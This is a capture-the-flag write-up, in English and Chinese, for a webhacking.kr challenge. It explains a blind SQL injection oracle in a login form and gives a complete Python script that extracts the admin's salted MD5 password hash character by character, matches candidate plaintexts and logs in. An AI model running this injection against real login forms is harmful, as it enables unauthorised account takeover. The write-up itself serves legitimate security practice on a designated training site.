Challenge
Log in as admin through the password-hash SQL injection.
通过密码哈希 SQL injection 以 admin 身份登录。
https://webhacking.kr/challenge/bonus-2/Analysis
登录接口把 uuid 放入用户查询,返回值能区分 Wrong password! 与 Login Fail!。前者表示注入条件命中了记录但提交的密码不匹配,后者表示条件没有命中,所以可以用同一个 oracle 逐字符读取 admin 的 pw 字段。
已知该字段是 32 位十六进制 MD5,注册并登录普通账号可以确认服务端计算的是 md5(password + "apple")。MD5 结果需要通过候选明文重新计算并比较;拿到 admin 的 digest 后,应对候选明文逐个计算 md5(candidate + "apple") 并比较。
Solution
下面的脚本包含完整的 blind SQLi、MD5 验证和正常登录请求。候选密码通过命令行传入,区分哈希值与明文候选:
import argparseimport hashlib
import requests
URL = "https://webhacking.kr/challenge/bonus-2/index.php"TRUE_MARKER = "wrong password!"FALSE_MARKER = "login fail"
def oracle(session, condition): injection = f"admin' and ({condition})#" response = session.post( URL, data={"uuid": injection, "pw": "probe"}, timeout=10, ) response.raise_for_status() body = response.text.lower() if TRUE_MARKER in body: return True42 collapsed lines
if FALSE_MARKER in body: return False raise RuntimeError("response did not contain a known oracle marker")
def recover_hash(session): digest_length = 32 hex_chars = "0123456789abcdef" result = [] for position in range(1, digest_length + 1): for char in hex_chars: code = ord(char) condition = f"ascii(substr(pw,{position},1))={code}" if oracle(session, condition): result.append(char) break else: raise RuntimeError(f"hash character at position {position} was not found") return "".join(result)
def find_candidate(digest, candidates): for candidate in candidates: calculated = hashlib.md5((candidate + "apple").encode("utf-8")).hexdigest() if calculated == digest: return candidate raise RuntimeError("no candidate matched the recovered digest")
def login(session, password): response = session.post( URL, data={"uuid": "admin", "pw": password}, timeout=10, ) response.raise_for_status() return response
def main(): parser = argparse.ArgumentParser() parser.add_argument("--candidate", action="append", required=True) args = parser.parse_args()
with requests.Session() as session: digest = recover_hash(session) password = find_candidate(digest, args.candidate) result = login(session, password) print(digest) print(result.status_code) print(result.text)
if __name__ == "__main__": main()# 注释掉原查询剩余部分,substr 的位置从 1 开始;脚本只把字符集限定为 MD5 的十六进制字符。候选集必须覆盖真实明文,SQLi 本身只能取出 hash。